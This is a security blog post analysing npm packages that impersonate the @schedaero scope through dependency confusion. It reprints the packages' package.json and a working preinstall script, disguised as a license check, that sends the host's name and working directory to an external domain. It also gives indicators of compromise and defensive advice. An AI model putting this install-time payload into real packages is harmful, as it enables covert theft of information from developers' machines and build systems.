Malicious npm Packages Target Schedaero via Dependency Confusion

4 min read

Table of Contents

Updates - 2026-02-28

After publishing this post, we were informed through public channel that the activity described here was part of an authorized penetration test / security assessment. We are sharing this update for transparency and accuracy.

This was a controlled security assessment, not a malicious attack, and no systems or data were impacted.

TL;DR

Our malicious package scanning infrastructure recently flagged a cluster of malicious npm packages executing a classic Dependency Confusion attack. The packages impersonate internal scopes of @schedaero.

The attacker, acting under the npm handle noboots11, published multiple identical packages. These packages contain a malicious preinstall script that executes immediately upon installation, gathering system information and exfiltrating it via a customized User-Agent string to a suspicious endpoint, then exiting successfully so the npm installation continues.

The Malicious Campaign

Schedaero All Packages

The threat actor published several packages under the @schedaero npm organization scope. All packages share the exact same version (99440.540.1)—an artificially inflated version number meant to guarantee it overrides any internal versions and the identical payload.

The flagged packages include:

  • @Schedaero/shared
  • @Schedaero/net-common
  • @Schedaero/bacon
  • @Schedaero/yukon
  • @Schedaero/react-core

So far, we have observed more than 500 downloads across these 5 packages. This suggests that misconfigured systems or automated build pipelines had already begun pulling the malicious code.

The packages use a generic, auto-generated description: “A comprehensive arithmetic toolkit with helper methods and extensive documentation.”

Analyzing the Attack Vector

The infection vector relies on the preinstall hook in package.json. This lifecycle script allows arbitrary code execution before the package is successfully installed.

Here is the malicious package.json for @Schedaero/shared:

{
"name": "@Schedaero/shared",
"version": "99440.540.1",
"description": "A comprehensive arithmetic toolkit with helper methods and extensive documentation.",
"main": "src/index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node scripts/setup.js"
},
"keywords": ["arithmetic", "math", "helpers", "documentation"],
"author": "Arithmetic Inc.",
"license": "MIT",
"dependencies": {
"@Schedaero/shared": "^99439.540.1"
}
}

Notice the preinstall: "node scripts/setup.js" directive. As soon as npm install @Schedaero/shared is invoked, setup.js executes.

Payload Analysis: setup.js

The execution of setup.js reveals a lightweight reconnaissance and data exfiltration payload.

const https = require('https');
const os = require('os');
/**
* @file This script is executed before the package is installed.
* Performs license checks if necessary.
*/
const LICENSE_URL = 'https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/';
const hostname = os.hostname();
const c = process.cwd();
console.log('Sending installation callback...');
const options = {
hostname: new URL(LICENSE_URL).hostname,
path: new URL(LICENSE_URL).pathname,
method: 'GET',
headers: {
'User-Agent': `Node.js/${process.version} (${hostname}) [${c}]`,
},
};
const req = https.request(options, (res) => {
console.log(`License callback request sent. Status Code: ${res.statusCode}`);
});
req.setTimeout(2000, () => {
console.error('Callback request timed out. Aborting.');
req.destroy();
});
req.on('error', (err) => {
console.error('Error sending callback:', err.message);
});
req.on('close', () => {
console.log('Callback request finished.');
process.exit(0);
});
console.log('End');
req.end();

The domain https://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/ is identified as malicious by multiple vendors.

Schedaero virustotal analysis

Breaking Down the Payload

  1. Deceptive Comments: The script pretends to perform a “license check”, a common social engineering tactic to deflect suspicion if a developer inspects the code.
  2. Reconnaissance: It gathers two critical pieces of environmental context: the machine’s hostname and the current working directory (process.cwd()). This tells the attacker who executed the code and where it ran (e.g., inside a specific project folder like /opt/buildagents/work/schedaero-api).
  3. Exfiltration via HTTP Headers: The gathered data is stealthily packed into the User-Agent HTTP header, completely bypassing basic network inspection tools that only check URL parameters or request bodies.
    • Example exfiltrated header: User-Agent: Node.js/v20.11.0 (dev-macbook-pro) [/Users/dev/projects/Schedaero/internal-app]
  4. Forced Process Exit: In the close handler, the script executes process.exit(0);. This unconditionally halts the Node.js process with a “success” code. This abrupt termination stops the actual npm installation process from continuing. The likely goal is to prevent throwing a visible installation error down the line while successfully completing the DNS/HTTP callback to the attacker’s infrastructure.

Indicators of Compromise (IOCs)

Indicator TypeValue
Malicious URLhttps://edrxkprbcqxvbhveoqmmpxavp9wwhkqy4.gjq.io/
Domaingjq.io
npm Authornoboots11
Suspect Scope@Schedaero/*

Conclusion

This campaign represents a textbook Dependency Confusion attack characterized by an artificially inflated version number, targeted scope impersonation, and immediate pre-install execution. The exfiltration of the hostname and current working directory allows the threat actor to verify if they have successfully breached an employee’s workstation or a corporate build server, providing a foothold for further targeted compromise.

Defending against dependency confusion requires strict control over package resolution. Organizations should enforce scope-to-registry mapping (ensuring @internal-scopes only resolve to private registries) and utilize tools that scan for anomalous package behaviors, such as unexpected preinstall lifecycle execution and external network calls, before the code ever reaches the developer machine.

  • npm
  • oss
  • malware
  • supply-chain
  • security
  • dependency-confusion

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code

Not Malware

Install the SafeDep GitHub App to keep malicious packages out of your repos.

GitHub Install GitHub App